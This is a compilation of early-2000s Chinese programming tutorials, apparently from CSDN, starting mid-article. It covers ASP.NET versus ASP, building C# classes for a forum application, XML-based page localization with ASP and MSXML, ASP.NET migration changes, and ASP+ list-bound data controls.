a preview of asp+ 涵盖了从简要介绍 asp.net 到创建 asp.net 页面的各种内容，包括 web 服务、数据和控件。此外，它还涉及从 asp 转至 asp.net、asp.net 对象模型以及如何在 .net 中使用 com 组件等主题。这本书在 beta 1 版本之前面世。
a programmer's introduction to c# 由 eric gunnerson（c# 小组的成员）著，对 .net 语言 c# 进行了深入的探讨。
活动
如果您愿意参加会议并观看有关 asp.net 和 .net framework 的演示，建议如下：

wrox（英文）
wrox 欧洲开发人员会议将于 11 月 29 日在荷兰的阿姆斯特丹召开。会议讨论与 asp.net 和 .net 相关的各种主题，.net framework 小组成员将出席本次会议。希望您来参加这次会议。

insideasp（英文）
insideasp 会议将于 2 月 22 日至 25 日在佛罗里达的奥兰多召开。会议仅讨论 asp 和 asp.net 社区的相关问题。与 wrox 会议一样，.net framework 小组成员也将出席这次会议。

asp.net 速成课程（英文）
为期四天的专题讨论会将集中讨论如何用 asp+ 服务器控件建立复杂的交互式 html 窗体。我们也将向您介绍 microsoft ado 的最新版本——ado+。要了解会议的时间和地址，请参见此 web 站点。

总结
总之，连接和运行 asp.net 非常容易。现在，已经有一些很有用的资源可以帮助您学习这种技术，希望您能加入日益壮大的社区撰稿者队伍。在下个月的文章中，我们将讨论 asp.net 中会话状态管理的变化（asp 的一个重大变化）。

如果您对专栏有意见或建议，请发邮件至 netcolum@microsoft.com。


csdn_ASP.NET高级教程(1):ASP.NET还是ASP+?

  ASP.NET高级教程(1):ASP.NET还是ASP+?
作者： bigeagle
看到这个标题你可能会笑，alpha版的时候MS叫它asp+，后来出了beta1版，就改名叫asp.net了，那还不是一回事吗？你错了，这不仅仅是一个简单的叫什么的问题，而是一个它到底是什么的问题。关于asp.net到底是什么，恐怕你已经看过不少这类文章，并且有自己的理解，但恐怕大多数人的理解不是那么正确。问个简单的问题，asp.net和asp有什么关系？恐怕chinaasp .net版版主的看法代表了大多数人的理解：asp+就是比asp什么都多一点点而已：），真的是这样吗？让我们看下面这个例子，这段代码是我自己的asp.net BBS的用户注册模块的提交按钮点击事件，作用是将用户提交的数据存入数据库中。

//提交按钮点击

public void OnSubmit(Object sender , EventArgs e)

{

if (Page.IsValid)

{

//数据入库

try

{

BBSUser myUser = new BBSUser() ;

if(!myUser.GetUser(txtUserName.Text))

{

myUser.CreateUser(BBSUser.CreateType.Create , txtUserName.Text , txtPassword.Text ,

txtEmail.Text , txtHomepage.Text , "") ;

}

}

catch(Exception exp)

{

#if DEBUG

Response.Write ("出现异常：" + exp.Message) ;

return ;

#endif//DEBUG

Server.Transfer("error.aspx") ;

}

}

}

怎么样，是不是和你原来习惯使用的asp有些区别呢？代码中你见不到数据入库，而全部封装到BBSUser类的CreateUser方法中，或许你会说asp也行呀，做个函数或过程不就行了？是，的确如此，asp.net也可以直接把它做成一个过程然后来调用，但如果那样的话，那就真的只比asp多一点点而已了。还是让我们从头说起吧。

asp.net和asp的最大区别在于编程思维的转换，而不仅仅在于功能的增强。asp使用vbs/js这样的脚本语言混合html来编程，而那些脚本语言属于弱类型、面向结构的编程语言，而非面向对象，这就明显产生以下几个问题：

1、代码逻辑混乱，难于管理：由于asp是脚本语言混合html编程，所以你很难看清代码的逻辑关系，并且随着程序的复杂性增加，使得代码的管理十分困难，甚至超出一个程序员所能达到的管理能力，从而造成出错或这样那样的问题。

2、代码的可重用性差：由于是面向结构的编程方式，并且混合html，所以可能页面原型修改一点，整个程序都需要修改，更别提代码重用了。

3、弱类型造成潜在的出错可能：尽管弱数据类型的编程语言使用起来回方便一些，但相对于它所造成的出错几率是远远得不偿失的。

以上是语言本身的弱点，在功能方面asp同样存在问题，第一是功能太弱，一些底层操作只能通过组件来完成，在这点上是远远比不上php/jsp，其次就是缺乏完善的纠错/调试功能，这点上asp/php/jsp差不多。那么，asp.net有哪些改进呢？

asp.net摆脱了以前asp使用脚本语言来编程的缺点，理论上可以使用任何编程语言包括c++ , vb , js等等，当然，最合适的编程语言还是ms为.net frmaework专门推出的c#(读csharp)，它可以看作是vc和java的混合体吧，尽管ms自己讲c#内核中更多的象vc，但实际上我还是认为它和java更象一些吧。首先它是面向对象的编程语言，而不是一种脚本，所以它具有面向对象编程语言的一切特性，比如封装性、继承性、多态性等等，这就解决了刚才谈到的asp的那些弱点。封装性使得代码逻辑清晰，易于管理，并且应用到asp.net上就可以使业务逻辑和html页面分离，这样无论页面原型如何改变，业务逻辑代码都不必做任何改动；继承性和多态性使得代码的可重用性大大提高，你可以通过继承已有的对象最大限度保护你以前的投资。并且c#和c++、java一样提供了完善的调试/纠错体系。好了，一口气说了这么些理论性的东西，不如结合一个实例来具体说明，在以后的内容里我将结合一个论坛的实例来具体说明asp.net的开发，这个论坛的完整源代码及论坛本身你可以在我的站点(http://bigeagle.wotoo.com找到)。

对了，要说明一点，这个教程并不是asp.net的入门教程，我假设你对asp.net、c#和面向对象编程有一定的了解，如果不是这样的话，请先阅读有关文章或教程。


csdn_ASP.NET高级教程(2.1):转换编程思维

  ASP.NET高级教程(2.1):转换编程思维
作者： bigeagle
   上次的内容说过asp.net和asp的最大区别在于编程思维的转换，那么我们现在就来看看如何转换编程思想。以前的web编程从cgi(perl)到asp,php,jsp的编程过程都是这样：美工人员给出页面原型，编程人员照页面填空，最后堆起来算完，下次如果原型变动，那么就再修改程序，这样业务逻辑和html页面混在一起，可以说是事倍功半。那么，现在有了asp.net，我们应该怎么做呢？

让我们找个实际的例子，就拿论坛来说吧，先从顶至下看看它的业务逻辑。我们可以把一个论坛视做一个对象，它有自己的属性和方法，常见的属性有名称、贴子数、用户数、版面数等等，这样的话，我们就可以这样来构造论坛对象：

namespace MyOwnClass

{

using System;

using System.Data.SQL ;

using System.Data ;

////////////////////////////////////////////////////////////////////

//

// Class Name : BBS

//

// Description: 论坛类，构造一个论坛对象

//

// date: 2000/02/03

//

/// ////////////////////////////////////////////////////////////////

public class BBS

{

//私有变量

private string m_strTitle ; //bbs名称

private int m_intForumCount ; //版面数

private int m_intTopicCount ; //贴子数

private int m_intUserCount ; //注册用户数

//属性

public string Title

{

get

{

return m_strTitle ;

}

}

public int ForumCount

{

get

{

return m_intForumCount ;

}

}

public int TopicCount

{

get

{

return m_intTopicCount ;

}

}

public int UserCount

{

get

{

return m_intUserCount ;

}

}

//构造函数

public BBS(string a_strTitle)

{

//

// TODO: Add Constructor Logic here

//

m_strTitle = a_strTitle ;

//读取数据库

MyConnection myConn = new MyConnection() ;

SQLCommand myCommand = new SQLCommand() ;

myCommand.ActiveConnection = myConn ;

myCommand.CommandText = "up_GetBBSInfo" ; //调用存储过程

myCommand.CommandType = CommandType.StoredProcedure ;

try

{

myConn.Open() ;

SQLDataReader myReader ;

myCommand.Execute(out myReader) ;

if (myReader.Read())

{

m_intForumCount = (int)myReader["ForumCount"] ;

m_intTopicCount = (int)myReader["TopicCount"] ;

m_intUserCount = (int)myReader["UserCount"] ;

}

else

{

throw(new Exception("表或存储过程不存在")) ;

}

//清场

myReader.Close();

myConn.Close() ;

}

catch(SQLException e)

{

throw(new Exception("数据库出错:" + e.Message)) ;

}

}

}

}


csdn_ASP.NET高级教程(2.2):转换编程思维

  ASP.NET高级教程(2.2):转换编程思维
作者： bigeagle
这个bbs类很简单，有四个私有变量，对应四个只读属性，方法只有一个带参数的构造函数，作用是从数据库中读取相应的数据，填充四个私有变量。类构造好了，让我们看看如何使用，在需要显示论坛这些属性的页面文件里(.aspx)里，构造四个Label，象这样：
<table width=140 cellpadding=4 cellspacing=1 border=0>
<tr>
<td class=cn>
<font color=white>注册用户数：</font>
</td>
<td>
<asp:label id="lblUserCount" runat=Server class=cn></asp:label>
</td>
</tr>
<tr>
<td class=cn>
<font color=white>贴子总数：</font>
</td>
<td>
<asp:label id="lblTopicCount" runat=Server class=cn></asp:label>
</td>
</tr>
<tr>
<td class=cn>
<font color=white>版面数：</font>
</td>
<td>
<asp:label id="lblForumCount" runat=Server class=cn></asp:label>
</td>
</tr>
</table>
然后在对应的c#文件里这样使用：

protected void Page_Init(object sender, EventArgs e)
{
//
// CODEGEN: This call is required by the ASP+ Windows Form Designer.
//
InitializeComponent();

//初始化页面对象
//创建bbs对象
try
{
m_objBBS = new BBS("鹰翔山庄论坛") ;
}
catch(Exception exp)
{
#if DEBUG
Response.Write ("初始化bbs对象出错:" + exp.Message + "<br>") ;
return ;
#endif//DEBUG
Server.Transfer("error.aspx") ;
}

//论坛名称
lblBBSName.ForeColor = Color.White ;
lblBBSName.Text = m_objBBS.Title ;

//用户数
lblUserCount.ForeColor = Color.White ;
lblUserCount.Text = m_objBBS.UserCount.ToString() ;

//文章数
lblTopicCount.ForeColor = Color.White ;
lblTopicCount.Text = m_objBBS.TopicCount.ToString() ;

//版面数
lblForumCount.ForeColor = Color.White ;
lblForumCount.Text = m_objBBS.ForumCount.ToString() ;
}

看出这样使用的好处吗？对，就是业务逻辑和html代码分开，这样无论页面原型如何修改，代码都不需要做丝毫改动。bbs对象构造好了，让我们看看论坛的其他对象，他们分别是用户(BBSUser)、版面(Forum)和贴子(Topic) , 我将在下节的内容里详细解释。


csdn_ASP.NET高级教程(3):对象

  ASP.NET高级教程(3):对象
作者： bigeagle
   前面讲到如何构造bbs对象，有朋友要求我简单介绍一下c#里如何构造对象，下面我就简单说一下，算是补上这一课吧。

C#里的类(Class)，也可以叫做对象(object)，它由以下几部分组成：成员变量，属性和方法，其中必不可少的是这个类不带任何参数的构造函数，它不指定返回类型，作用是初始化类的成员变量、分配内存等。和c++不同，c#类只有构造函数，不需要析购函数，也就是说你只需要为成员变量分配内存，而不必要显式的释放内存，这是因为c#和java一样都是通过垃圾收集器来释放内存。明白这些，我们就可以构造一个最简单的类，一个什么也不做的类:

public class MyClass

{

public MyClass(){} ;

}

要使用时只需要简单的new一个出来就行了，象这样：MyClass myClass1 = new MyClass() ;不要怀疑，你的确已经创建了一个对象，尽管它什么也不做：）。下面我们给它加一个私有字符型成员变量m_strTitle，并且在构造函数里初始化这个成员变量，整个类的定义就变成这样：

public class MyClass

{

//私有成员变量

private string m_strTitle ;

//构造函数

public MyClass()

{

m_strTitle = "我已经被赋初值了" ;

}

}

注意定义成员变量的这行代码：private string m_strTitle ; 其中string好理解，说明m_strTitle是string类型的，那么最前面的private是什么作用呢？这个private(私有)说明这个成员变量是私有的，只有这个类内部的函数可以使用，而其他任何地方包括子类的函数都不能使用它，除了private，你还可以定义成public(公共)和protected(保护)，public表明这个成员变量在任何地方都可以使用，而protected表明这个变量只能在本类或子类中使用。所以，如果我们想要使用这个成员变量，可以把它定义成public，但对于面向对象编程来说这不是个好的编程习惯，因为它破坏了类的封装性，在c++里好的方法是再定义公共函数来存取这个私有变量，而c#里提供了一个更加方便的方法，那就是属性(property)，现在我们把这个属性Title加上：

public class MyClass

{

//私有成员变量

private string m_strTitle ;

//属性

public string Title

{

get

{

return this.m_strTitle ;

}

set

{

this.m_strTitle = value ;

}

}

//构造函数

public MyClass()

{

m_strTitle = "我已经被赋初值了" ;

}

}


csdn_ASP.NET高级教程(3.2):对象

  ASP.NET高级教程(3.2):对象
作者： bigeagle
让我们来看看如何定义属性，首先同样需要作用域限定符，通常我们使用public，表明任何地方都可以使用该属性，其次有两个关键字需要注意：this和value , this代表类本身，所以this.m_strTitle就是代表本类的成员变量m_strTitle ， value代表当这个属性作为左值时等号右边的值，象这样：myClass.Title = "hello" , 那么value的值就是"hello" , 好了，这个类已经可以使用了，象下面：

public static void Main(String[] args)

{

MyClass myClass = new myClass() ; //构造MyClass类的一个实例

Console.WriteLine(myClass.Title) ; //结果是：我已经被赋初值了

myClass.Title = "我的值改变了" ; //改变Title属性的值

Console.Writeline(myClass.Title) ; //这时结果变成：我的值改变了

}

好了，现在让我们给这个类加上一个MyMethod方法，这个方法没有返回值，带一个字符型参数。

public class MyClass

{

//私有成员变量

private string m_strTitle ;

//属性

public string Title

{

get

{

return this.m_strTitle ;

}

set

{

this.m_strTitle = value ;

}

}

//构造函数

public MyClass()

{

m_strTitle = "我已经被赋初值了" ;

}

//方法

public void MyMethod(string a_str)

{

this.m_strTitle = a_str ;

}

}

这是我们可以改写一下刚才那个程序，运行结果同刚才一样:

public static void Main(String[] args)

{

MyClass myClass = new myClass() ; //构造MyClass类的一个实例

Console.WriteLine(myClass.Title) ; //结果是：我已经被赋初值了

myClass.MyMethod( "我的值改变了" ); //改变Title属性的值

Console.Writeline(myClass.Title) ; //这时结果变成：我的值改变了

}


csdn_ASP.NET高级教程(3.3):对象

  ASP.NET高级教程(3.3):对象
作者： bigeagle
以上简单讲了一下如何定义类，看完这些内容，可能你就可以理解上一节我们构造的那个bbs对象，让我们再看一下它的定义：

namespace MyOwnClass

{

using System;

using System.Data.SQL ;

using System.Data ;

////////////////////////////////////////////////////////////////////

//

// Class Name : BBS

//

// Description: 论坛类，构造一个论坛对象

//

// date: 2000/02/03

//

/// ////////////////////////////////////////////////////////////////

public class BBS

{

//私有变量

private string m_strTitle ; //bbs名称

private int m_intForumCount ; //版面数

private int m_intTopicCount ; //贴子数

private int m_intUserCount ; //注册用户数

//属性

public string Title

{

get

{

return m_strTitle ;

}

}

public int ForumCount

{

get

{

return m_intForumCount ;

}

}

public int TopicCount

{

get

{

return m_intTopicCount ;

}

}

public int UserCount

{

get

{

return m_intUserCount ;

}

}

//构造函数

public BBS(string a_strTitle)

{

//

// TODO: Add Constructor Logic here

//

m_strTitle = a_strTitle ;

//读取数据库

MyConnection myConn = new MyConnection() ;

SQLCommand myCommand = new SQLCommand() ;

myCommand.ActiveConnection = myConn ;

myCommand.CommandText = "up_GetBBSInfo" ; //调用存储过程

myCommand.CommandType = CommandType.StoredProcedure ;

try

{

myConn.Open() ;

SQLDataReader myReader ;

myCommand.Execute(out myReader) ;

if (myReader.Read())

{

m_intForumCount = (int)myReader["ForumCount"] ;

m_intTopicCount = (int)myReader["TopicCount"] ;

m_intUserCount = (int)myReader["UserCount"] ;

}

else

{

throw(new Exception("表或存储过程不存在")) ;

}

//清场

myReader.Close();

myConn.Close() ;

}

catch(SQLException e)

{

throw(new Exception("数据库出错:" + e.Message)) ;

}

}

}

}

和刚才我们讲的稍有不同，首先看第一行namespace MyOwnClass ， 声明目前这个类的名字空间是MyOwnClass,名字空间就像一个包，其中可以包含很多类。再看这行： using System; 这个告诉编译器，我要引用System名字空间里的对象。然后其他的就好理解了吧？


csdn_XML加ASP实现网页“本地化”

  XML加ASP实现网页“本地化”
作者： 听风
    想让你的站点能被来自多个国家的冲浪者看明白吗？无疑，这就需要提供多个语言版本的页面内容，也就是所谓的“本地化”功能。最容易想到的方法就是分别编写多种语言的页面内容，然后放置到不同的目录下，再在首页上添加导航到各自语言位置的链接。很明显，这样的处理方式将浪费许多包含公共元素以及设计框架的空间，而且修改、维护也很烦琐。有什么好方法吗？当然，本文就介绍如何结合使用XML与ASP技术实现这个目的。

    本文将讨论如下几个方面的内容：创建包含语言资源的XML文档、使用ASP创建Web页面模板、使用XPath语法和MSXML3分析器定位XML文档中的目标内容以及动态地在HTML流中插入语言字符串。

准备条件
    本文讨论的技术涉及到以下方面：IIS4 或者 PWS（包含ASP功能），MSXML 版本 3。

功能展示
    本文要讨论的例程是一个简单的HTML表单，用以提交名字和地址信息。下面是在Netscape Navigator中显示西班牙语言的图示：

    采用本文论述的技术，你就可以非常简单地通过更新一个XML文件实现为站点添加多种语言的功能。

创建包含语言资源的XML文档
首先，使用喜爱的页面编辑器创建一个叫做xmltrans.asp的Web页面文件。我发现使用静态占位符文字（比如"First name "）设计页面最容易。当XML准备好后，就可以使用变量替换这些静态文字。要下载例程文件请点击这里。
    完成基本页面的功能设计后，开始创建一个包含语言字符串的良好格式XML文档。在这里，我使用纯文本编辑器Notepad编写初始的XML语言集－英语版本。Notepad使我感觉更接近于源代码。XML文件命名为xmltrans.xml。下面列出了包含English、French和Spanish字符串的XML文件代码内容：

    <?xml version="1.0" encoding="UTF-8"?>

    <languages>

     <language xml:lang="en" engname="English" langname="English" charset="Windows-1252">

     <title>Localize ASP with XML</title>

     <firstname>First name</firstname>

     <lastname>Last name</lastname>

     <prefix>Prefix</prefix>

     <suffix>Suffix</suffix>

     <address1>Address</address1>

     <address2>Address 2</address2>

     <address3>Address 3</address3>

     <city>City</city>

     <region>State/Province</region>

     <postalcode>Postal code</postalcode>

     <areacode>Area code</areacode>

     <telephone>Telephone number</telephone>

     <submit>OK</submit>

     <lang>en</lang>

     <charset>Windows-1252</charset>

     <langname>English</langname>

     </language>

     <language xml:lang="fr" engname="French" langname="franζais" charset="Windows-1252">

     <title>Localize ASP with XML - French</title>

     <firstname>Prénom</firstname>

     <lastname>Nom</lastname>

     <prefix>Préfixe (M., Mme, Mlle)</prefix>

     <suffix>Suffixe/Titre</suffix>

     <address1>Rue</address1>

     <address2/>

     <address3/>

     <city>Ville</city>

     <region>Région/Province</region>

     <postalcode>Code postal</postalcode>

     <areacode>Indicatif régional</areacode>

     <telephone>Numéro de téléphone</telephone>

     <submit>OK</submit>

     <lang>fr</lang>

     <charset>Windows-1252</charset>

     <langname>French</langname>

     </language>

     <language xml:lang="sp" engname="Spanish" langname="Espanol" charset="Windows-1252">

     <title>Localize ASP with XML - Spanish</title>

     <firstname>Nombre</firstname>

     <lastname>Apellido paterno</lastname>

     <prefix>Prefijo (Sr., Sra., Srta.)</prefix>

     <suffix>Sufijo o título</suffix>

     <address1>Línea 1 de dirección</address1>

     <address2/>

     <address3/>

     <city>Ciudad</city>

     <region>Región, estado o provincia</region>

     <postalcode>Código postal</postalcode>

     <areacode>Código de área</areacode>

     <telephone>Número de teléfono </telephone>

     <submit>OK</submit>

     <lang>sp</lang>

     <charset>iso-8859-1</charset>

     <langname>Spanish</langname>

     </language>

    </languages>

    xmltrans.xml文件的第一行是XML声明。其中的version属性告诉读者文档符合XML 1.0的标准，encoding属性指示解析器使用压缩版本的Unicode：

    <?xml version="1.0" encoding="UTF-8"?>

    一个XML文档需要一个包含其他元素的根元素。因为这里的例程是包含一些语言，所以就命名根元素为languages：

    <languages>

    作为集合类型，languages元素包含了一个或多个language元素：

    <language xml:lang="en" engname="English" langname="English" charset="Windows-1252">

    以上language标记包含4个属性。xml:lang属性是其中最重要的，在ASP程序中将通过这个属性值的2字母语言代码搜索字符串组。其他的属性，比如charset，可以为将来的功能扩充而用。

    每种语言节点中，我都添加了一个元素作为变量，其中含有显示在HTML页面上的文字。XML允许使用有含义的名字作为自定义标记，比如，我使用<title>元素包含HTML页面的标题。同样，<firstname>元素包含字符串"First name"。

    <title>Localize ASP with XML</title>

    <firstname>First name</firstname>

    最后，良好格式的XML文档包含了一整套对应于HTML页面的字符串。下图显示了XML文件中的标记和English语言字符串。注意，现在这里只讨论English版本，以后可以添加更多种语言。

ASP文件代码分析
    现在回来看看ASP文件xmltrans.asp。在其中我们使用XML路径语言（XPath），它可以在微软的XML解析器（MSXML）中执行。你可以认为XPath是抵达XML文档一部分内容预定位置的工具，这有些类似于在命令行中输入一个路径以执行文件，比如c:\winnt\notepad.exe，或者在浏览器中敲入了一个URL访问页面。下面研究这个ASP文件看看如何取回English语言字符串。首先，我们实例化一个叫做MSXML2.DOMDocument的XML解析器工作对象：

    set doc=server._

    CreateObject _

    ("MSXML2.DOMDocument")

    由于ASP程序不能象Win32程序一样处理事件，所以在这里我们关闭了异步操作选项。这样就确保了在转向其他任务前，脚本程序会一直等待当前事件的完成：

    doc.async = False

    接着使用DOMDocument对象的Load方法装载包含字符串的XML文档。如果转载过程中发生了错误，就发出警告信息并停止运行：

    if not doc.Load(server._

    mappath("xmltrans.xml")) then

     msg="Failed to load "

     msg=msg & "the XML file"

     Response.Write msg

     Response.End

    end if

    我们可以使用两种方法查询XML文档：XSL和XPath。在这里让解析器使用后者，传递属性名字和正确数值给setProperty方法：

    doc.setProperty _

     "SelectionLanguage", "XPath"

    然后，创建选择XML文档部分内容的路径。很明显，相关字符串位于languages元素的某个位置内，因此languages成为路径的最开始部分。同时我们知道字符串是被包含在一个language元素内的，但是是哪一个呢？请别忘记在前面的XML文档中，我们嵌入了一个叫做xml:lang的属性，并给出了一个唯一数值“en”。这就是我们要选择的，下面是操作它的语法：

    sel="/languages/language"

    sel=sel & "[@xml:lang='en']"

    这有些不好理解，但你可以将这段XPath代码想像为一个SQL语句，类似于取回一个记录集的命令：

    SELECT * FROM languages.language WHERE xml:lang='en'

    回到现实的XPath查询，要使用下面的代码返回包含第一个匹配节点的节点对象：

    set selectednode = _

     doc.selectSingleNode(sel)

    最后一步是传递元素名字("title")给selectSingleNode方法，并要求它取回"title"节点的text属性值。就是说，取得包含在<title>和</title>的文字。在这里，取回的文字是"Localize ASP with XML"：

    txt=selectednode._

    selectSingleNode("title").text

    与SQL命令对照，就象从ADO记录集内部取回一个字段值，语句是：

    txt=rs("title")

在ASP页面中插入语言字符串
    知道了如何从XML元素中选取文字并赋值给变量，就可以将变量值插入到HTML流中了。为了使代码简洁，创建一个叫做getstring()的函数，如下：

    function getstring(instring)

    temp=selectednode._

    selectSingleNode _

    (instring).text

    getstring= _

    server.htmlencode(temp)

    end function

    getstring()函数的输入值是元素名，元素值要从XML文档中取回。比如，将"firstname"传递给getstring()，getstring函数就选择firstname元素并返回它的文本数值。为保险起见，在返回给调用者前，我们使用ASP的server.htmlencode方法转换文本为合法的HTML代码。在ASP页面中，调用代码类似如下：

    <td>

    <%=getstring("firstname")%>:

    </td>

    如果选择了XML文档的English部分，HTML输出结果如下：

    <td>First name:v/td>

    如果选择了French，HTML输出结果如下：

    <td>Prénom:</td>

    下图显示了French语言版本的表单：

选择可用语言
    XML的一大优势就是它是以清晰的文本格式保存，我们能够在任何时候更新Web服务器上的XML文件。而且，我们还可以将English版本的xmltrans.xml文件在XML编辑器XML NotHPad中打开，复制一份，然后将其中文字翻译为一种新语言。下图显示了XML Notepad中的例程文件：

    上图中，在左边可以执行添加、删除以及选择元素和属性的操作，在右边可以编辑相关内容。当站点需要多种语言版本时，只需要在内容中执行粘贴操作，然后上载最新的XML文档就可以了。

    为了使添加的语言立即生效，要增加一个程序，用它判断文件中不同语言的种类数量，并返回语言代码和语言名称。如下面的代码段所示，我们可以将数据格式化处理以创建一个HTML列表框。当用户提交表单时，2字母表示的语言种类代码被存储到ASP会话变量choselang中。

    <select name="chosenlang">

    <%

    for i=0 to selectednodes.length - 1

     response.write "<option value=" & _

     chr(34) & _

     selectednodes.item(i)._

    selectSingleNode("lang").text & chr(34)

     if (selectednodes.item(i)._

    selectSingleNode("lang").text = _

    session("chosenlang")) then

     response.write " selected>"

     else

     response.write ">"

     end if

     response.write selectednodes.item(i)._

    selectSingleNode("langname").text & _

    "</option>" & vbcrlf

    next

    %></select>

添加提示信息以及字符集数据
    上面使用XML提供了HTML表单的可变语言文字显示，接着还要考虑一些更丰富的用途。比如说，要在选择语言时添加一个提示信息，只需要在文字前后嵌入HTML标记<LABEL>，并从XML中提供可变内容作为title属性值。同理，为了帮助浏览器识别HTML页面的语言种类，将字符集信息保存到XML文件中，比如：

    <charset>x-sjis</charset>

    然后，就可以使用ASP将字符集类型插入到HTML流中：

    <meta HTTP-EQUIV="Content-Type" content="text/html; charset=

    <%=getstring("charset")%>" />

    最后的HTML代码包括了Japanese字符集参考：

    <meta HTTP-EQUIV="Content-Type" content="text/html; charset=x-sjis" />

    下图显示了使用Japanese字符集的页面。记住，要看到正确的内容，操作系统以及浏览器必须支持Unicode并安装了相应字符。否则，就会看到一些奇怪的文字，可能是一些问号，也可能是一些方块符号等等。

总结
    本文讲述了如何使用XML文件保存Web页面的语言字符串。从中我们学会了使用ASP脚本程序并借助微软XML解析器和W3C的XPath语言实现查询XML文档的功能。ASP代码将包含字符集类型的可变文字插入到HTML流中，并形成列表框以让用户选择可用语言。本文涵盖了许多内容，但我想这只是一个起点。虽然可以在支持XML的浏览器中简单地实现这些功能，但我们已经看到：使用服务器端脚本可以转换XML数据为普通的HTML内容，即使是早期版本的浏览器，同样能够看到这些精彩内容。


csdn_ASP.NET特写

  ASP.NET特写
作者： 仙人掌工作室
创建动态Web页面的新技术已经以CLR服务为基础全部重新改写。到目前为止，所有.NET提供的语言都可用于编写ASP.NET页面，但页面的扩展名和ASP 3.0的不同。具体地说，简单Web页面以“.aspx”为扩展名，Web服务以“.asmx”为扩展名（来源于“Assembly”），一种称为Pagelet的ASP.NET页面可重用部件以“.aspc”为扩展名。

     .NET应用能够流畅地同时运行.asp和.aspx页面。旧式的ASP页面将由asp.dll直接运行，但它不能利用CLR的功能。

     现在，.aspx页面不再解释执行，而是在第一次调用出现时被编译成MSIL代码，然后再以中间代码运行，就象J2EE环境下的JSP一样。一个合乎逻辑的结论是性能会有所提升，Microsoft宣称它可以与Visual Basic 4升级到编译版本5时应用性能的提升程度相媲美。

     除了理解VB.NET引入的所有新概念之外，这些根本性的改变还要求对ASP页面的编写方式作较大的改动。为了了解从ASP迁移到ASP.NET所要做的工作，下面我们来分析一下主要改动之处。

     这些改动分属三个层次：

API中的改动
页面结构的改动
VBScript和VB.NET之间的改动
     ASP.NET只允许每个页面使用一种语言。在DNA中，ASP页面可以同时使用JScript和VBScript；但ASP.NET不再允许这种用法。

     在ASP.NET中，函数必须用HTML < SCRIPT >标记包围，而且不允许把用于生成HTML代码的函数分割成多个部分。例如，ASP.NET不允许出现下面这种代码：

     相反，我们必须代之以如下代码：

< SCRIPT LANGUAGE="VB" runat=server >
Function SayHello()
Response.Write ("< b >< i > ")
Response.Write (" Hello ! ")
Response.Write ("< /i >< /b > ")
End Function
< /SCRIPT >

     括起函数调用参数的括号现在是必需的。另外，有的兼容性问题可能源于所有ASP.NET的数组下标都从0开始，而在ASP 3中有的从0开始，有的从1开始。

     在VB.NET中，默认情况下参数以值（ByVal）传递，而在当前的VBScript中，参数默认以引用传递（ByRef）。最后，VB.NET将不再支持默认值或关键词Set、Let。

     虽然这些改动都不是重大的、根本性的，但如果要利用CLR以及编译代码的优势就必须修改现有的代码，这些改动会占据开发者大量的时间。Microsoft已经宣布，用于代码迁移的工具会随同.NET平台一起发布，但从现在起就养成合适的编码习惯无疑是有益无害的。

     至于COM组件，ASP.NET将采用封装的形式使得原有的COM组件仍旧能够运行，但这些COM组件将运行在CLR受管理的环境之外，而且受管理以及非受管理环境之间的切换会牺牲一定的性能。因此，很多用户可能会决定重新把COM组件编写成COM + 2.0。

     ASP.NET引入了服务器端控件，它可能是ASP.NET吸引开发者使用它的一个重要原因。使用这些控件，ASP.NET页面能够利用可视或者非可视控件提供的如下高级服务：TreeView（树形视图）, ListBox（列表框）, Calendar（日历），等等。所有这些控件都会分析调用它们的客户程序类型，然后生成合适的表现代码。一般地，Web页面中的输入框使用客户端JavaScript进行输入合法性验证，但如果浏览器不支持JavaScript或者禁用了JavaScript，用户输入验证就会转到服务器端。


csdn_使用 ASP+ 列表绑定控件（上）

  使用 ASP+ 列表绑定控件（上）
简介

    Repeater、DataList和DataGrid控件构成ASP+页面框架中System.Web.
UI.WebControls名称空间内的相关Web控件集。这些控件使HTML显示所绑
定列表或数据源的内容。因此，将它们统称为“列表绑定控件”。

与框架中的其它 Web

    控件类似，这些控件提供一致的编程模型并封装一个独立于浏览器的
表示逻辑。这些特性使开发人员能够针对对象模型编程而不用必须掌握与
HTML 相关的那些不一致的和复杂的技术知识。

    这三种控件可以按多种布局（包括列表、分栏/报纸栏目和流布局
（HTML流））来表示与其相关的数据源内容。此外，它们还允许您创建完
全不同的或完全定制的布局。除了封装有表示逻辑外，还提供了用来处理
已发送数据、执行状态管理和引发事件的功能。最后，它们还对诸如选择、
编辑、分页和排序之类的标准操作提供不同级别的支持。这些控件可以简
化几种常见的 Web 应用程序方案，包括报表、购物车、产品列表、查询
结果和导航菜单。

    下面几节将进一步说明这些控件和如何在您的 Web 应用程序中使用
它们，以及如何选用控件。

列表绑定控件是如何工作的？

    本节是本文其余部分的背景材料。概述了这些列表绑定控件的工作方
式、它们的共同特性以及某些相关概念。

DataSource 属性
    每个控件都有一个DataSource属性，其类型为System.Collections.
ICollection。用最简单的话来说，数据源是同类对象的一个列表或集合。

    此框架中有几个对象提供了 ICollection 的实现。这个集合包括
System.Data.DataView（它通常用来访问关系数据库和 XML 数据）、一
般ICollection实现（如ArrayList和Hashtable）以及数组。

    与传统的数据绑定控件（它们通常需要ADO记录集）不同，除了实现
ICollection接口之外，这些列表绑定控件未对其数据源强加任何其它要
求。根据设计，通过大量增加可作为有效DataSource属性值的类型和数据
结构，它们能够为您的应用程序代码实现最大程度的简单和灵活性。

项目集合

    每个列表绑定控件都包含一个项目集合。控件通过列举这些对象当前
的数据源来置入其项目集合。在列举中为每个对象创建单个项目并用于表
示该对象。这些项目同时成为列表绑定控件中包含的控件层次结构的一部
分。

下表列出了与数据源的数据相关联的项目类型。

项目 创建的默认项目类型
AlternatingItem 为项目集合中具有奇数下标的项目创建
SelectedItem 为选定的项目创建（不论该项目是否为备选项目）
EditItem 为处于编辑模式下的项目创建（不管它是否被选中或是否为备选项目）

    控件同时创建将在表示中用到的下列项目。但是，它们并不与数据源
的数据相关联。

标头 用来表示标头信息
注脚 用来表示注脚信息
分隔符 用来表示图 1 中所示的每个项目之间的内容，并且仅适用于 Repeater 和 DataList
分页符 用来表示与 DataGrid 控件相关联的分页 UI

项目的数据绑定和创建

    列表绑定控件遵循在整个 ASP+ 框架中实现的显式数据绑定模型。这
意味着控件仅当其 DataBind 方法被调用时才需要并列举其数据源。

当调用 DataBind

    方法时，列表控件将列举其数据源、创建项目并通过从其数据源中提
取值来对其进行初始化。如果启用了状态管理，则控件还将保存所需的全
部信息，以便在页面的回传处理期间重新创建其项目而无须重新设置数据
源。

    显式数据绑定模型使您的应用程序代码可以精确地确定在处理序列中
何时及何处需要数据源。这种功能使对数据库服务器的访问更少且更高效，
